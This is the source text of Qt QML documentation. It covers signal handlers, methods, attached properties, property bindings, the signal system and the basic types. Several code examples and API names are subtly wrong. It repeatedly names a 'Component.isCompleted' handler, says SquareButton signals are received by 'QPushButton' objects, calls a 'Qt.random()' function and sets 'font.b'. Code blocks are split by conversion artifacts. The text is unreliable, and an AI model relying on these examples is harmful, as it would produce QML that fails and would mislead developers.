Signal handlers are a special sort of \l{Method attributes}{method attribute}, where the method implementation is invoked by the QML engine whenever the associated signal is emitted. Adding a signal to an object definition in QML will automatically add an associated signal handler to the object definition, which has, by default, an empty implementation. Clients can provide an implementation, to implement program logic.

Consider the following \c SquareButton type, whose definition is provided in the \c SquareButton.qml file as shown below, with signals \c activated and \c deactivated:

```
\qml
```

```
// SquareButton.qml
```

```
Rectangle {
```

```
    id: root
```

```
    signal activated(real xPosition, real yPosition)
```

```
    signal deactivated
```

```
    width: 100; height: 100
```

```

MouseArea {
    anchors.fill: parent
    onPressed: root.activated(mouse.x, mouse.y)
    onReleased: root.deactivated()
}
}
\endqml

```

These signals could be received by any `QPushButton` objects in another QML file in the same directory, where implementations for the signal handlers are provided by the client:

```

\qml
// myapplication.qml

QPushButton {
    onActivated: console.log("Activated at " + xPosition + "," + yPosition)
    onDeactivated: console.log("Deactivated!")
}
\endqml

```

See the [Signal and Handler Event System](#) for more details on use of signals.

`\section3 Property Change Signal Handlers`

Signal handlers for property change signal take the syntax form

`\e on<Property>Changed` where `\e <Property>` is the name of the property, with the first letter capitalized. For example, although the `\I TextInput` type documentation does not document a `\c textChanged` signal, this signal is implicitly available through the fact that `\I TextInput` has a `\I {TextInput::text}{text}` property and so it is possible to write an `\c onTextChanged` signal handler to be called whenever this property changes:

```
\qml
import QtQuick 2.0

TextInput {
    text: "Change this!"

    onTextChanged: console.log("Text has changed to:", text)
}
\endqml
```

## `\section2 Method Attributes`

A method of an object type is a function which may be called to perform some processing or trigger further events. A method can be connected to a signal so that it is automatically invoked whenever the signal is emitted. See

\l {Signal and Handler Event System} for more details.

### \section3 Defining Method Attributes

A method may be defined for a type in C++ by tagging a function of a class which is then registered with the QML type system with `Q_INVOKABLE` or by registering it as a `Q_SLOT` of the class. Alternatively, a custom method can be added to an object declaration in a QML document with the following syntax:

\code

```
function <functionName>([<parameterName>[, ...]]) { <body> }
```

\endcode

Methods can be added to a QML type in order to define standalone, reusable blocks of JavaScript code. These methods can be invoked either internally or by external objects.

Unlike signals, method parameter types do not have to be declared as they default to the `var` type.

Attempting to declare two methods or signals with the same name in the same type block is an error. However, a new method may reuse the name of an existing method on the type. (This should be done with caution, as the existing method may be hidden and become inaccessible.)

Below is a \l Rectangle with a \c calculateHeight() method that is called when assigning the \c height value:

```
\qml
import QtQuick 2.0

Rectangle {
    id: rect

    function calculateHeight() {
        return rect.width / 2;
    }

    width: 100
    height: calculateHeight()
}
\endqml
```

If the method has parameters, they are accessible by name within the method.

Below, when the \l MouseArea is clicked it invokes the \c moveTo() method which can then refer to the received \c newX and \c newY parameters to reposition the text:

```
\qml
import QtQuick 2.0
```

```

Item {
    width: 200; height: 200

    MouseArea {
        anchors.fill: parent
        onClicked: label.moveTo(mouse.x, mouse.y)
    }

    Text {
        id: label

        function moveTo(newX, newY) {
            label.x = newX;
            label.y = newY;
        }

        text: "Move me!"
    }
}

\endqml

```

\section2 Attached Properties and Attached Signal Handlers

\e {Attached properties} and \e {attached signal handlers} are mechanisms that

enable objects to be annotated with extra properties or signal handlers that are otherwise unavailable to the object. In particular, they allow objects to access properties or signals that are specifically relevant to the individual object.

A QML type implementation may choose to create an `{attaching type}` with particular properties and signals. Instances of this type can then be created and `{attaching type}` attached to specific objects at run time, allowing those objects to access the properties and signals of the attaching type. These are accessed by prefixing the properties and respective signal handlers with the name of the attaching type.

References to attached properties and handlers take the following syntax form:

```
\code
```

```
<AttachingType>.<propertyName>
```

```
<AttachingType>.on<SignalName>
```

```
\endcode
```

For example, the `ListView` type has an attached property

`{ListView::isCurrentItem}` that is available to each delegate object in a `ListView`. This can be used by each individual delegate object to determine whether it is the currently selected item in the view:

```
\qml
```

```
import QtQuick 2.0
```

```
ListView {  
    width: 240; height: 320  
    model: 3  
    delegate: Rectangle {  
        width: 100; height: 30  
        color: ListView.isCurrentItem ? "red" : "yellow"  
    }  
}  
\endqml
```

In this case, the name of the \e {attaching type} is \c ListView and the property in question is \c isCurrentItem, hence the attached property is referred to as \c ListView.isCurrentItem.

An attached signal handler is referred to in the same way. For example, the \c Component.isCompleted attached signal handler is commonly used to execute some JavaScript code when a component's creation process has been completed. In the example below, once the \l ListModel has been fully created, its \c Component.onCompleted signal handler will automatically be invoked to populate the model:

```
\qml  
import QtQuick 2.0
```

```

ListView {
    width: 240; height: 320

    model: ListModel {
        id: listModel

        Component.onCompleted: {
            for (var i = 0; i < 10; i++)
                listModel.append({"Name": "Item " + i})
        }
    }

    delegate: Text { text: index }
}

\endqml

```

Since the name of the `\e {attaching type}` is `\c Component` and that type has a `\c completed` signal, the attached signal handler is referred to as `\c Component.isCompleted`.

### `\section3 A Note About Accessing Attached Properties and Signal Handlers`

A common error is to assume that attached properties and signal handlers are directly accessible from the children of the object to which these attributes have been attached. This is not the case. The instance of the `\e {attaching type}` is only attached to specific objects, not to the object

and all of its children.

For example, below is a modified version of the earlier example involving attached properties. This time, the delegate is an `\Item` and the colored `\Rectangle` is a child of that item:

```
\qml
import QtQuick 2.0

ListView {
    width: 240; height: 320
    model: 3
    delegate: Item {
        width: 100; height: 30

        Rectangle {
            width: 100; height: 30
            color: ListView.isCurrentItem ? "red" : "yellow" // WRONG! This won't work.
        }
    }
}

\endqml
```

This does not work as expected because `\c ListView.isCurrentItem` is attached only to the root delegate object, and not its children. Since the

\l Rectangle is a child of the delegate, rather than being the delegate itself,  
it cannot access the \c isCurrentItem attached property as  
\c ListView.isCurrentItem. So instead, the rectangle should access  
\c isCurrentItem through the root delegate:

```
\qml
```

```
ListView {
```

```
    //....
```

```
    delegate: Item {
```

```
        id: delegateItem
```

```
        width: 100; height: 30
```

```
        Rectangle {
```

```
            width: 100; height: 30
```

```
            color: delegateItem.ListView.isCurrentItem ? "red" : "yellow" // correct
```

```
        }
```

```
    }
```

```
}
```

```
\endqml
```

Now \c delegateItem.ListView.isCurrentItem correctly refers to the  
\c isCurrentItem attached property of the delegate.

```
*/
```

```
propertybinding.qdoc
```

\page qtqml-syntax-propertybinding.html

\title Property Binding

\brief binding object properties

An object's property can be assigned a static value which stays constant until it is explicitly assigned a new value. However, to make the fullest use of QML and its built-in support for dynamic object behaviors, most QML objects use \e {property bindings}.

Property bindings are a core feature of QML that lets developers specify relationships between different object properties. When a property's \e dependencies change in value, the property is automatically updated according to the specified relationship.

Behind the scenes, the QML engine monitors the property's dependencies (that is, the variables in the binding expression). When a change is detected, the QML engine re-evaluates the binding expression and applies the new result to the property.

\section1 Overview

To create a property binding, a property is assigned a JavaScript expression that evaluates to the desired value. At its simplest, a binding may be a reference to another property. Take the following example, where the blue \l Rectangle's height is bound to the height of its parent:

```
\qml
```

```
Rectangle {
```

```
    width: 200; height: 200
```

```
    Rectangle {
```

```
        width: 100
```

```
        height: parent.height
```

```
        color: "blue"
```

```
    }
```

```
}
```

```
\endqml
```

Whenever the height of the parent rectangle changes, the height of the blue rectangle automatically updates to be of the same value.

A binding can contain any valid JavaScript expression or statement, as QML uses a standards compliant JavaScript engine. Bindings can access object properties, call methods and use built-in JavaScript objects such as `Date` and `Math`.

Below are other possible bindings for the previous example:

```
\code
```

```
height: parent.height / 2
```

```
height: Math.min(parent.width, parent.height)
```

```
height: parent.height > 100 ? parent.height : parent.height/2
```

```
height: {  
  if (parent.height > 100)  
    return parent.height  
  else  
    return parent.height / 2  
}
```

```
height: someMethodThatReturnsHeight()
```

```
\endcode
```

Below is a more complex example involving more objects and types:

```
\qml
```

```
Column {
```

```
  id: column
```

```
  width: 200
```

```
  height: 200
```

```
  Rectangle {
```

```
    id: topRect
```

```
    width: Math.max(bottomRect.width, parent.width/2)
```

```
    height: (parent.height / 3) + 10
```

```
color: "yellow"
```

```
TextInput {  
    id: myTextInput  
    text: "Hello QML!"  
}  
}
```

```
Rectangle {  
    id: bottomRect  
    width: 100  
    height: 50  
    color: myTextInput.text.length <= 10 ? "red" : "blue"  
}  
}  
\endqml
```

In the previous example,

```
\list
```

```
\li \c topRect.width depends on \c bottomRect.width and \c column.width
```

```
\li \c topRect.height depends on \c column.height
```

```
\li \c bottomRect.color depends on \c myTextInput.text.length
```

```
\endlist
```

Syntactically, bindings are allowed to be of arbitrary complexity. However, if

a binding is overly complex - such as involving multiple lines, or imperative loops - it could indicate that the binding is being used for more than describing property relationships. Complex bindings can reduce code performance, readability, and maintainability. It may be a good idea to redesign components that have complex bindings, or at least factor the binding out into a separate function.

\keyword qml-javascript-assignment

\section1 Creating Property Bindings from JavaScript

A property with a binding is automatically updated as necessary. However, if the property is later assigned a static value from a JavaScript statement, the binding will be removed.

For example, the \l Rectangle below initially ensures that its \c height is always twice its \c width. However, when the space key is pressed, the current value of \c {width\*3} will be assigned to \c height as a \e static value. After that, \e {the \c height will remain fixed at this value, even if the \c width changes}. The assignment of the static value removes the binding.

\qml

import QtQuick 2.0

Rectangle {

width: 100

```
height: width * 2
```

```
focus: true
```

```
Keys.onSpacePressed: {
```

```
    height = width * 3
```

```
}
```

```
}
```

```
\endqml
```

If the intention is to give the rectangle a fixed height and stop automatic updates, then this is not a problem. However, if the intention is to establish a new relationship between `\c width` and `\c height`, then the new binding expression must be wrapped in the `Qt.binding()` function instead:

```
\qml
```

```
import QtQuick 2.0
```

```
Rectangle {
```

```
    width: 100
```

```
    height: width * 2
```

```
focus: true
```

```
Keys.onSpacePressed: {
```

```
    height = Qt.binding(function() { return width * 3 })
```

```
}
```

```
}  
\endqml
```

Now, after the space key is pressed, the rectangle's height will continue auto-updating to always be three times its width.

## \section2 Using \c this with Property Binding

When creating a property binding from JavaScript, the \c this keyword can be used to refer to the object which receives the binding. This is helpful for resolving ambiguities with property names.

For example, the \c Component.onCompleted handler below is defined within the scope of the \I Item. In this scope, \c width refers to the \I Item's width, not the \I Rectangle's width. To bind the \I Rectangle's \c height to its own \c width, the binding expression must explicitly refer to \c this.width (or alternatively, \c{rect.width}):

```
\qml  
Item {  
    width: 500  
    height: 500  
  
    Rectangle {
```

```
id: rect

width: 100

color: "yellow"

}
```

```
Component.onCompleted: {

    rect.height = Qt.binding(function() { return this.width * 2 })

    console.log("rect.height = " + rect.height) // prints 200, not 1000

}

}

\endqml
```

\note The value of \c this is not defined outside of property bindings.

See \l {JavaScript Environment Restrictions} for details.

\page qtqml-syntax-signals.html

\title Signal and Handler Event System

\brief the event system in QML

Application and user interface components need to communicate with each other. For example, a button needs to know that the user has clicked on it.

The button may change colors to indicate its state or perform some logic. As well, application needs to know whether the user is clicking the button. The application may need to relay this clicking event to other applications.

QML has a signal and handler mechanism, where the `signal` is the event and the signal is responded to through a `{signal handler}`. When a signal is emitted, the corresponding signal handler is invoked. Placing logic such as scripts or other operations in the handler allows the component to respond to the event.

`\keyword qml-signals-and-handlers`

`\section1 Receiving Signals with Signal Handlers`

To receive a notification when a particular signal is emitted for a particular object, the object definition should declare a signal handler named `on<Signal>` where `<Signal>` is the name of the signal, with the first letter capitalized. The signal handler should contain the JavaScript code to be executed when the signal handler is invoked.

For example, the `MouseArea` type from the `QtQuick` module has a `clicked` signal that is emitted whenever the mouse is clicked within the area. Since the signal name is `clicked`, the signal handler for receiving this signal should be named `onClicked`. In the example below, whenever the mouse area is clicked, the `onClicked` handler is invoked, applying a random color to the `Rectangle`:

`\qml`

`import QtQuick 2.0`

`Rectangle {`

```

id: rect

width: 100; height: 100

MouseArea {

    anchors.fill: parent

    onClicked: {

        rect.color = Qt.rgb(Math.random(), Math.random(), Math.random(), 1);

    }

}

}

\endqml

```

Looking at the `MouseArea` documentation, you can see the `MouseArea::clicked` signal is emitted with a parameter named `mouse` which is a `MouseEvent` object that contains further details about the mouse click event. This name can be referred to in our `onClicked` handler to access this parameter. For example, the `MouseEvent` type has `x` and `y` coordinates that allows us to print out the exact location where the mouse was clicked:

```

\qml

import QtQuick 2.0

Rectangle {

    id: rect

    width: 100; height: 100

    MouseArea {

        anchors.fill: parent
    }
}

```

```

onClicked: {
    rect.color = Qt.rgb(Math.random(), Math.random(), Math.random(), 1);

    // access 'mouse' parameter
    console.log("Clicked mouse at", mouse.x, mouse.y)
}
}
}
\endqml

```

## \section2 Property Change Signal Handlers

A signal is automatically emitted when the value of a QML property changes. This type of signal is a \e {property change signal} and signal handlers for these signals are written in the form \e on<Property>Changed where \e <Property> is the name of the property, with the first letter capitalized.

For example, the \l MouseArea type has a \l {MouseArea::pressed}{pressed} property. To receive a notification whenever this property changes, write a signal handler named \c onPressedChanged:

```

\qml
import QtQuick 2.0

Rectangle {
    id: rect

    width: 100; height: 100

```

```

MouseArea {

    anchors.fill: parent

    onPressedChanged: {

        console.log("Mouse area is pressed?", pressed)

    }

}

}

\endqml

```

Even though the `\l MouseArea` documentation does not document a signal handler named `\c onPressedChanged`, the signal is implicitly provided by the fact that the `\c pressed` property exists.

## `\section2 Using the Connections Type`

In some cases it may be desirable to access a signal outside of the object that emits it. For these purposes, the `\c QtQuick` module provides the `\l Connections` type for connecting to signals of arbitrary objects. A `\l Connections` object can receive any signal from its specified `\l {Connections::target}{target}`.

For example, the `\c onClicked` handler in the earlier example could have been received by the root `\l Rectangle` instead, by placing the `\c onClicked` handler in a `\l Connections` object that has its `\l {Connections::target}{target}` set to the `\l MouseArea`:

```

\qml

import QtQuick 2.0

```

```

Rectangle {

```

```
id: rect
```

```
width: 100; height: 100
```

```
MouseArea {
```

```
    id: mouseArea
```

```
    anchors.fill: parent
```

```
}
```

```
Connections {
```

```
    target: mouseArea
```

```
    onClicked: {
```

```
        rect.color = Qt.rgb(Math.random(), Math.random(), Math.random(), 1);
```

```
    }
```

```
}
```

```
}
```

```
\endqml
```

## \section2 Attached Signal Handlers

An \l {Attached Properties and Attached Signal Handlers}{attached signal handler} is a signal handler that receives a signal from an \e {attaching type} rather than the object within which the handler is declared.

For example, \c \l {Component::isCompleted}{Component.isCompleted} is an attached signal handler. This handler is often used to execute some JavaScript code when its creation process has been completed, as in the example below:

```

\qml

import QtQuick 2.0

Rectangle {

    width: 200; height: 200

    color: Qt.rgb(Qt.random(), Qt.random(), Qt.random(), 1)

    Component.onCompleted: {

        console.log("The rectangle's color is", color)

    }

}

\endqml

```

The `onCompleted` handler is not responding to some `completed` signal from the `Rectangle` type. Instead, an object of the `Component` type with a `completed` signal has automatically been attached to the `Rectangle` object by the QML engine, and the engine emits this signal when the object is fully created, thus triggering the `Component.onCompleted` signal handler.

Attached signal handlers allow objects to be notified of particular signals that are significant to each individual object. If there was no `Component.onCompleted` attached signal handler, for example, then an object could not receive this notification without registering for some special signal from some special object. The `attached signal handler` mechanism enables objects to receive particular signals without these extra processes.

See [Attached properties and attached signal handlers](#) for more information on attached signal handlers.

## \section1 Adding Signals to Custom QML Types

Signals can be added to custom QML types through the \c signal keyword.

The syntax for defining a new signal is:

```
\tt{signal <name>[((<type> <parameter name>[, ...])]}]
```

A signal is emitted by invoking the signal as a method.

For example, say the code below is defined in a file named \c SquareButton.qml. The root \l Rectangle object has an \c activated signal. When the child \l MouseArea is clicked, it emits the parent's \c activated signal with the coordinates of the mouse click:

```
\qml
```

```
// SquareButton.qml
```

```
Rectangle {
```

```
    id: root
```

```
    signal activated(real xPosition, real yPosition)
```

```
    width: 100; height: 100
```

```
    MouseArea {
```

```
        anchors.fill: parent
```

```
        onPressed: root.activated(mouse.x, mouse.y)
```

```
}  
}  
\endqml
```

Now any objects of the \c SquareButton can connect to the \c activated signal using an \c onActivated signal handler:

```
\qml  
// myapplication.qml  
SquareButton {  
    onActivated: console.log("Activated at " + xPosition + "," + yPosition)  
}  
\endqml
```

See \l {Signal Attributes} for more details on writing signals for custom QML types.

```
\keyword qml-connect-signals-to-method  
\section1 Connecting Signals to Methods and Signals
```

Signal objects have a \c connect() method to connect a signal either to a method or another signal. When a signal is connected to a method, the method is automatically invoked whenever the signal is emitted. This mechanism enables a signal to be received by a method instead of a signal handler.

Below, the \c messageReceived signal is connected to three methods using the \c connect() method:

```
\qml
```

```
Rectangle {
```

```
    id: relay
```

```
    signal messageReceived(string person, string notice)
```

```
    Component.onCompleted: {
```

```
        relay.messageReceived.connect(sendToPost)
```

```
        relay.messageReceived.connect(sendToTelegraph)
```

```
        relay.messageReceived.connect(sendToEmail)
```

```
        relay.messageReceived("Tom", "Happy Birthday")
```

```
    }
```

```
    function sendToPost(person, notice) {
```

```
        console.log("Sending to post: " + person + ", " + notice)
```

```
    }
```

```
    function sendToTelegraph(person, notice) {
```

```
        console.log("Sending to telegraph: " + person + ", " + notice)
```

```
    }
```

```
    function sendToEmail(person, notice) {
```

```
        console.log("Sending to email: " + person + ", " + notice)
```

```
    }
```

```
}
```

```
\endqml
```

In many cases it is sufficient to receive signals through signal handlers rather than using the `connect()` function. However, using the `\c connect` method allows a signal to be received by multiple methods as shown above, which would not be possible with signal handlers as they must be uniquely named. Also, the `\c connect` method is useful when connecting signals to `\l {Dynamic QML Object Creation from JavaScript}`{dynamically created objects}.

There is a corresponding `\c disconnect()` method for removing connected signals:

```
\qml
Rectangle {
    id: relay
    //...

    function removeTelegraphSignal() {
        relay.messageReceived.disconnect(sendToTelegraph)
    }
}
\endqml
```

### `\section3 Signal to Signal Connect`

By connecting signals to other signals, the `\c connect()` method can form different signal chains.

```
\qml
Rectangle {
```

```
id: forwarder
```

```
width: 100; height: 100
```

```
signal send()
```

```
onSend: console.log("Send clicked")
```

```
MouseArea {
```

```
    id: mousearea
```

```
    anchors.fill: parent
```

```
    onClicked: console.log("MouseArea clicked")
```

```
}
```

```
Component.onCompleted: {
```

```
    mousearea.clicked.connect(send)
```

```
}
```

```
}
```

```
\endqml
```

Whenever the `\ MouseArea \c clicked` signal is emitted, the `\c send` signal will automatically be emitted as well.

```
\code
```

output:

```
MouseArea clicked
```

Send clicked

\endcode

\page qtqml-typesystem-basictypes.html

\title QML Basic Types

\brief Description of basic types provided by the Qt QML module

QML supports a number of basic types.

A \e{basic type} is one that refers to a simple value, such as an \c int

or a \c string. This contrasts with a \l{qtqml-typesystem-topic.html#qml-object-types}{QML Object Types},

which refers to an object with properties, signals, methods and so on. Unlike an object type,

a basic type cannot be used to declare QML objects: it is not possible, for example, to declare an

\c int{} object or a \c size{} object.

Basic types can be used to refer to:

\list

\li A single value (e.g. \l int refers to a single number, \l var can refer to a single list of items)

\li A value that contains a simple set of property-value pairs (e.g. \l size refers to a value with \c width and \c height attributes)

\endlist

\sa {qmltypesystem-topic.html}{The QML Type System}

## \section1 Supported Basic Types

Some basic types are supported by the engine by default and do not require an \l {Import Statements}{import statement} to be used, while others do require the client to import the module which provides them.

All of the basic types listed below may be used as a \c property type in a QML document, with the following exceptions:

\list

\li \c list must be used in conjunction with a QML object type

\li \c enumeration cannot be used directly as the enumeration must be defined by a registered QML object type

\endlist

## \section2 Basic Types Provided By The QML Language

The basic types supported natively in the QML language are listed below:

\annotatedlist qmlbasictypes

## \section2 Basic Types Provided By QML Modules

QML modules may extend the QML language with more basic types.

For example, the basic types provided by the `QtQuick` module are listed below:

`\annotatedlist qtquickbasictypes`

The `QtQml::Qt` global object provides useful functions for manipulating values of basic types.

Currently only QML modules which are provided by Qt may provide their own basic types, however this may change in future releases of Qt QML.

In order to use types provided by a particular QML module, clients must import that module in their QML documents.

## `\section1` Property Change Behavior for Basic Types

Some basic types have properties: for example, the `Font` type has `pixelSize`, `family` and `bold` properties. Unlike properties of [\{qtqml-typesystem-topic.html#qml-object-types}](#) (object types), properties of basic types do not provide their own property change signals. It is only possible to create a property change signal handler for the basic type property itself:

`\code`

```
Text {  
    // invalid!  
    onFont.pixelSizeChanged: doSomething()
```

```
// also invalid!

font {

    onPixelSizeChanged: doSomething()

}

// but this is ok

onFontChanged: doSomething()

}

\endcode
```

Be aware, however, that a property change signal for a basic type is emitted whenever any of its attributes have changed, as well as when the property itself changes. Take the following code, for example:

```
\qml

Text {

    onFontChanged: console.log("font changed")

}

Text { id: otherText }

focus: true

// changing any of the font attributes, or reassigning the property
// to a different font value, will invoke the onFontChanged handler

Keys.onDigit1Pressed: font.pixelSize += 1
```

```

Keys.onDigit2Pressed: font.b = !font.b
Keys.onDigit3Pressed: font = otherText.font
}
\endqml

```

In contrast, properties of an [\l{qtqml-typesystem-topic.html#qml-object-types}](http://qtqml-typesystem-topic.html#qml-object-types){object type} emit their own property change signals, and a property change signal handler for an object-type property is only invoked when the property is reassigned to a different object value.

```
*/
```

```
/*!
```

```
\qmlbasictype int
```

```
\ingroup qmlbasictypes
```

```
\brief a whole number, e.g. 0, 10, or -20.
```

The `\c int` type refers to a whole number, e.g. 0, 10, or -20.

The possible `\c int` values range from around -2000000000 to around 2000000000, although most types will only accept a reduced range (which they mention in their documentation).

Example:

```
\qml
```

```
Item { width: 100; height: 200 }
```

\endqml

This basic type is provided by the QML language.

\sa {QML Basic Types}

\*/

/\*!

\qmlbasictype bool

\ingroup qmlbasictypes

\brief a binary true/false value.

The \c bool type refers to a binary true/false value.

Example:

\qml

Item {

    focus: true

    clip: false

}

\endqml

This basic type is provided by the QML language.

\sa {QML Basic Types}

\*/

/\*!

\qmlbasictype real

\ingroup qmlbasictypes

\brief a number with a decimal point.

The \c real type refers to a number with decimal point, e.g. 1.2 or -29.8.

Example:

\qml

Item { width: 100.45; height: 150.82 }

\endqml

\b{Note:} In QML all reals are stored in double precision, \l  
{[http://en.wikipedia.org/wiki/IEEE\\_754](http://en.wikipedia.org/wiki/IEEE_754)} {IEEE floating point}  
format.

This basic type is provided by the QML language.

\sa {QML Basic Types}

\*/

/\*!

\qmlbasictype double

\ingroup qmlbasictypes

\brief a number with a decimal point, stored in double precision.

The \c double type refers to a number with a decimal point and is stored in double precision, \l{[http://en.wikipedia.org/wiki/IEEE\\_754](http://en.wikipedia.org/wiki/IEEE_754)} {IEEE floating point} format.

Example:

\qml

Item {

property double number: 32155.2355

}

\endqml

This basic type is provided by the QML language.

\sa {QML Basic Types}

\*/

/\*!

\qmlbasictype string

\ingroup qmlbasictypes

\brief a free form text string.

The `\c` string type refers to a free form text string in quotes, e.g. "Hello world!".

Example:

```
\qml
```

```
Text { text: "Hello world!" }
```

```
\endqml
```

Strings have a `\c length` attribute that holds the number of characters in the string.

QML extends the JavaScript String type with a `\l {String::arg}{arg()}` function to support value substitution.

When integrating with C++, note that any QString value

`\l{qtqml-cppintegration-data.html}`{passed into QML from C++} is automatically converted into a `\c` string value, and vice-versa.

This basic type is provided by the QML language.

```
\sa {QML Basic Types}
```

```
*/
```

```
/*!
```

```
\qmlbasictype url
```

```
\ingroup qmlbasictypes
```

\brief a resource locator.

The `\c url` type refers to a resource locator (like a file name, for example). It can be either absolute, e.g. "http://qt-project.org", or relative, e.g. "pics/logo.png". A relative URL is resolved relative to the URL of the containing component.

For example, the following assigns a valid URL to the `\l {Image::source}` property, which is of type `\c url`:

```
\qml
Image { source: "pics/logo.png" }
\endqml
```

When integrating with C++, note that any `QUrl` value `\l{qtqml-cppintegration-data.html}`{passed into QML from C++} is automatically converted into a `\c url` value, and vice-versa.

## \section1 Using the url Type

When a relative URL is written to a `\c url` type property, it is converted into a `QUrl` object, so `\b {matching the URL value against the input string value will fail}`. Instead, convert the string to a `QUrl` using `Qt.resolvedUrl()` for means of comparison, and use `\c toString()` to get the contents of the URL:

```
\qml
```

```
Image {
```

```
    source: "pics/logo.png"
```

```
    Component.onCompleted: {
```

```
        // This prints 'false'. Although "pics/logo.png" was the input string,
```

```
        // it's been converted from a string to a URL, so these two are not the same.
```

```
        console.log(source == "pics/logo.png")
```

```
        // This prints 'true' as Qt.resolvedUrl() converts the string into a
```

```
        // URL with the correctly resolved path
```

```
        console.log(source == Qt.resolvedUrl("pics/logo.png"))
```

```
        // This prints the absolute path, e.g. "file:///path/to/pics/logo.png"
```

```
        console.log(source.toString())
```

```
    }
```

```
}
```

```
\endqml
```

\note When referring to files stored with the \l{resources.html}{Qt Resource System}

from within QML, you should use "qrc:://" instead of "://" as QML requires URL paths.

Relative URLs resolved from within that file will use the same protocol.

Additionally, URLs may contain encoded characters using the 'percent-encoding' scheme

specified by \l{http://tools.ietf.org/html/rfc3986}{RFC 3986}. These characters

will be preserved within properties of type `\c url`, to allow QML code to construct precise URL values. An exception to this rule is the preemptive decoding of directory-separator characters (`\c '/'`) - these characters are decoded to allow the URL to be correctly classified.

For example, a local file containing a '#' character, which would normally be interpreted as the beginning of the URL 'fragment' element, can be accessed by encoding the characters of the file name:

```
\qml
Image { source: encodeURIComponent("/tmp/test#1.png") }
\endqml
```

This basic type is provided by the QML language.

```
\sa {QML Basic Types}
*/
```

```
/*!
```

```
\qmlbasictype list
\ingroup qmlbasictypes
\brief a list of QML objects.
```

The `\c list` type refers to a list of QML objects.

A list value can be accessed in a similar way to a JavaScript array:

`\list`

`\li` Values are assigned using the `\c[]` square bracket syntax with comma-separated values

`\li` The `\c` length property provides the number of items in the list

`\li` Values in the list are accessed using the `\c [index]` syntax

`\endlist`

A `\c` list can only store QML objects, and cannot contain any

`\l {QML Basic Types}{basic type}` values. (To store basic types within a list, use the `\l var` type instead.)

When integrating with C++, note that any `QQmlListProperty` value

`\l{qtqml-cppintegration-data.html}{passed into QML from C++}` is automatically converted into a `\c` list value, and vice-versa.

## `\section1` Using the list Type

For example, the `\l Item` type has a `\l {Item::}{states}` list-type property that can be assigned to and used as follows:

`\qml`

`import QtQuick 2.0`

```

Item {
    width: 100; height: 100

    states: [
        State { name: "activated" },
        State { name: "deactivated" }
    ]

    Component.onCompleted: {
        console.log("Name of first state:", states[0].name)
        for (var i = 0; i < states.length; i++)
            console.log("state", i, states[i].name)
    }
}

\endqml

```

The defined \l State objects will be added to the \c states list in the order in which they are defined.

If the list only contains one object, the square brackets may be omitted:

```

\qml
import QtQuick 2.0

```

```
Item {  
    width: 100; height: 100  
    states: State { name: "activated" }  
}  
\endqml
```

Note that objects cannot be individually added to or removed from the list once created; to modify the contents of a list, it must be reassigned to a new list.

\note The \c list type is not recommended as a type for custom properties.

The \c var type should be used instead for this purpose as lists stored by the \c var type can be manipulated with greater flexibility from within QML.

This basic type is provided by the QML language.

\sa {QML Basic Types}

\*/

/\*!

\qmlbasictype var

\ingroup qmlbasictypes

\brief a generic property type.

The `\c` var type is a generic property type that can refer to any data type.

It is equivalent to a regular JavaScript variable.

For example, var properties can store numbers, strings, objects, arrays and functions:

```
\qml
```

```
Item {
```

```
    property var aNumber: 100
```

```
    property var aBool: false
```

```
    property var aString: "Hello world!"
```

```
    property var anotherString: String("#FF008800")
```

```
    property var aColor: Qt.rgb(0.2, 0.3, 0.4, 0.5)
```

```
    property var aRect: Qt.rect(10, 10, 10, 10)
```

```
    property var aPoint: Qt.point(10, 10)
```

```
    property var aSize: Qt.size(10, 10)
```

```
    property var aVector3d: Qt.vector3d(100, 100, 100)
```

```
    property var anArray: [1, 2, 3, "four", "five", (function() { return "six"; })]
```

```
    property var anObject: { "foo": 10, "bar": 20 }
```

```
    property var aFunction: (function() { return "one"; })
```

```
}
```

```
\endqml
```

```
\section1 Change Notification Semantics
```

It is important to note that changes in regular properties of JavaScript objects assigned to a var property will **not** trigger updates of bindings that access them. The example below will display "The car has 4 wheels" as the change to the wheels property will not cause the reevaluation of the binding assigned to the "text" property:

```
\qml
Item {
    property var car: new Object({wheels: 4})

    Text {
        text: "The car has " + car.wheels + " wheels";
    }

    Component.onCompleted: {
        car.wheels = 6;
    }
}
\endqml
```

If the onCompleted handler instead had `"car = new Object({wheels: 6})"` then the text would be updated to say "The car has 6 wheels", since the car property itself would be changed, which causes a change notification to be emitted.

## `\section1` Property Value Initialization Semantics

The QML syntax defines that curly braces on the right-hand-side of a property value initialization assignment denote a binding assignment.

This can be confusing when initializing a `\c` var property, as empty curly braces in JavaScript can denote either an expression block or an empty object declaration. If you wish to initialize a `\c` var property to an empty object value, you should wrap the curly braces in parentheses.

For example:

```
\qml
```

```
Item {
```

```
    property var first: {} // nothing = undefined
```

```
    property var second: {} // empty expression block = undefined
```

```
    property var third: ({} // empty object
```

```
}
```

```
\endqml
```

In the previous example, the `\c` first property is bound to an empty expression, whose result is undefined. The `\c` second property is bound to an expression which contains a single, empty expression block (`"{}"`), which similarly has an undefined result. The `\c` third property is bound to an expression which is evaluated as an empty object declaration, and thus the property will be initialized with that empty object value.

Similarly, a colon in JavaScript can be either an object property value assignment, or a code label. Thus, initializing a var property with an object declaration can also require parentheses:

```
\qml
```

```
Item {
```

```
    property var first: { example: 'true' } // example is interpreted as a label
```

```
    property var second: ({ example: 'true' }) // example is interpreted as a property
```

```
    property var third: { 'example': 'true' } // example is interpreted as a property
```

```
    Component.onCompleted: {
```

```
        console.log(first.example) // prints 'undefined', as "first" was assigned a string
```

```
        console.log(second.example) // prints 'true'
```

```
        console.log(third.example) // prints 'true'
```

```
    }
```

```
}
```

```
\endqml
```

```
\sa {QML Basic Types}
```

```
*/
```

```
/*
```

TODO Qt 5.1: see explanation in expressions.qdoc

```
\section1 Using Scarce Resources with the var Type
```

A \c var type property can also hold an image or pixmap.

A \c var which contains a QPixmap or QImage is known as a

"scarce resource" and the declarative engine will attempt to automatically release such resources after evaluation of any JavaScript expression which requires one to be copied has completed.

Clients may explicitly release such a scarce resource by calling the "destroy" method on the `\c var` property from within JavaScript. They may also explicitly preserve the scarce resource by calling the "preserve" method on the `\c var` property from within JavaScript.

For more information regarding the usage of a scarce resource, please see `\l{Scarce Resources in JavaScript}`.

This basic type is provided by the QML language.

`*/`

`/*!`

`\obsolete`

`\qmlbasictype variant`

`\ingroup qmlbasictypes`

`\brief a generic property type.`

The `\c` variant type is a generic property type. It is obsolete and exists only to support old applications; new applications should use `\l var` type properties instead.

A variant type property can hold any of the \{QML Basic Types}{basic type} values:

```
\qml
Item {
    property variant aNumber: 100
    property variant aString: "Hello world!"
    property variant aBool: false
}
\endqml
```

